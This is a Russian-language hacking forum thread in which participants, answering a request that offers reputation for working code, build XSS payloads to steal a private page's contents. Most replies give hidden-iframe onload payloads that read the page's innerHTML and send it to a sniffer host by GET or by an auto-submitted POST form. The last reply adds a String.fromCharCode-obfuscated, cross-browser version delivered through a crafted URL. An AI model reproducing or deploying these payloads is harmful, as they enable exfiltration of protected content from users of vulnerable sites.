![]() |
(+50) Вопрос по Javascript
Gh0s7 попропрорпросил запостить :)
Собственно сабж. Есть вопрос по жс. <Gh0s7> Ситуация такая: <Gh0s7> Есть саент, на нем пассив гет хсс, длина неорграничена. <Gh0s7> На том же саенте есть мааленькая страничка. Она очень маленькая, в одну строку, примерно 12-16 символов, полностью без хтмл. <Gh0s7> Нужно через имеющуюся хсс слить эту страницу куда-нибудь, например на сниффер. <Gh0s7> На сколько я знаю, это реально. <Gh0s7> Тем, кто даст код +50 в репу (после того, как вернусь из отпуска, в понедельник) |
через xss получить контент страницы? 0_о страница закрытая что ли? Типа для мемберов?
Думаю через XMLHttpRequest как-нить поколодовать можно. Отправить запрос на страницу, получить контент в качестве ответа, передать контент снифферу. Хотя хз. Вариант 2: Вставляем в уязвимую страницу фрейм с таргетом на закрытую страницу, и JS код который тырит контент фрейма (помоему innerHTML может из фрейма контент забрать?). ну и далее этот контент отправляем на снифак. ЗЫ просто мысли в слух - надеюсь никто не против. |
Код:
<script src=""></script> |
+toxa+=)
опередил |
А так не меньше?
Код HTML:
<frame src=""> |
в случае фрейма должны быть одинаковые домены(тут тоже есть тонкость) фрейма и закрытой страницы
или нужно писать <frame src='javascript:......'> (не уверен что прокатит) ******** если я правильно понял про что вы , если нет-извините=) |
Код HTML:
<iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';i1.contentDocument.location='http://our/sniffer.script?data='+escape(i1.contentDocument.getElementsByTagName('html')[0].innerHTML)"></iframe> |
GreenBear, все таки
Цитата:
Цитата:
|
Цитата:
|
омг, ты в курсе что событие onload в iframe происходит после того, как полностью загрузилась страница, указанная в его src?
|
Два изменения:
1) Теперь читаются не только html, но и txt(т.е. страницы без тегов). 2) Исходный текст страницы передается POST'ом=>увеличена возможная длина. Теперь хтмл выглядит так: Код HTML:
<iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';data=i1.contentDocument.childNodes[0].innerHTML;i1.contentDocument.appendChild(f1=i1.contentDocument.createElement('form'));f1.appendChild(t1=i1.contentDocument.createElement('input'));f1.method='post';f1.action='http://our/sniffer.script';t1.name='send';t1.value=data;f1.submit()"></iframe> |
Вот пример:
PHP код:
З.Ы. Iframe не поможет, т.к. браузер: а) Не передает в него кукисы, HTTP_AUTH_USER, etc от основной страницы. б) Не даст посмотреть его innerHTML |
Дело в том, что я писал свой вариант ориентируясь на Оперу. Мой код не работает под Ие, твой под Оперой. Может имеет смысл объединить их и получить кроссбраузерный варант=)
Цитата:
|
Цитата:
Цитата:
|
Цитата:
Цитата:
Даже если бы они не передавались, ничто не помешало бы взять их в document.cookie и передать iframe'у. Несовместимость с Ие заключалась в двух вещах: 1) В Ие iframe-document расположен не в iframe.contentDocument, а в iframe.document 2) Несмотря на стандарты ecmascript Ie запрещает инициировать отправку формы размещенную в iframe путем iframe.document.form.submit() Рассмотрим пример. страница Код:
http://v1k.jino-net.ru/page1.phpстраница Код:
http://v1k.jino-net.ru/secretpage.phpстраница Код:
http://v1k.jino-net.ru/sniffer.phpНам нужно узнать, что билл ламер. Код теперь имеет вид PHP код:
%22 и %27 экранируются на jino-net, поэтому кодируем содержимое Iframe Onload в вид String.fromCharCode - Код:
String.fromCharCode(105,102,40,116,121,112,101,111,102,40,111,110,101,116,105,109,101,41,61,61,39,117,110,100,101,102,105,110,101,100,39,41,123,111,110,101,116,105,109,101,61,49,59,105,100,111,99,61,40,110,97,118,105,103,97,116,111,114,46,97,112,112,78,97,109,101,61,61,39,77,105,99,114,111,115,111,102,116,32,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,39,41,63,105,49,46,100,111,99,117,109,101,110,116,58,105,49,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,59,100,97,116,97,61,105,100,111,99,46,99,104,105,108,100,78,111,100,101,115,91,48,93,46,105,110,110,101,114,72,84,77,76,59,105,100,111,99,46,119,114,105,116,101,40,39,60,102,111,114,109,32,109,101,116,104,111,100,61,112,111,115,116,32,105,100,61,92,39,102,49,92,39,32,97,99,116,105,111,110,61,92,39,104,116,116,112,58,47,47,118,49,107,46,106,105,110,111,45,110,101,116,46,114,117,47,115,110,105,102,102,101,114,46,112,104,112,92,39,62,60,105,110,112,117,116,32,110,97,109,101,61,92,39,115,101,110,100,92,39,32,118,97,108,117,101,61,92,39,39,43,101,115,99,97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,60,47,102,111,114,109,62,60,115,99,114,105,112,116,62,102,49,46,115,117,98,109,105,116,40,41,60,47,115,99,114,105,112,116,62,39,41,125)Код:
http://v1k.jino-net.ru/page1.php?echo=<iframe%20id=i1%20style=display:none%20name=i1%20src=http://v1k.jino-net.ru/secretpage.php%20onload=eval(String.fromCharCode(105,102,40,116,121,112,101,111,102,40,111,110,101,116,105,109,101,41,61,61,39,117,110,100,101,102,105,110,101,100,39,41,123,111,110,101,116,105,109,101,61,49,59,105,100,111,99,61,40,110,97,118,105,103,97,116,111,114,46,97,112,112,78,97,109,101,61,61,39,77,105,99,114,111,115,111,102,116,32,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,39,41,63,105,49,46,100,111,99,117,109,101,110,116,58,105,49,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,59,100,97,116,97,61,105,100,111,99,46,99,104,105,108,100,78,111,100,101,115,91,48,93,46,105,110,110,101,114,72,84,77,76,59,105,100,111,99,46,119,114,105,116,101,40,39,60,102,111,114,109,32,109,101,116,104,111,100,61,112,111,115,116,32,105,100,61,92,39,102,49,92,39,32,97,99,116,105,111,110,61,92,39,104,116,116,112,58,47,47,118,49,107,46,106,105,110,111,45,110,101,116,46,114,117,47,115,110,105,102,102,101,114,46,112,104,112,92,39,62,60,105,110,112,117,116,32,110,97,109,101,61,92,39,115,101,110,100,92,39,32,118,97,108,117,101,61,92,39,39,43,101,115,99,97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,60,47,102,111,114,109,62,60,115,99,114,105,112,116,62,102,49,46,115,117,98,109,105,116,40,41,60,47,115,99,114,105,112,116,62,39,41,125))></iframe>ЗЫ: i am ajax hater |
| Время: 21:21 |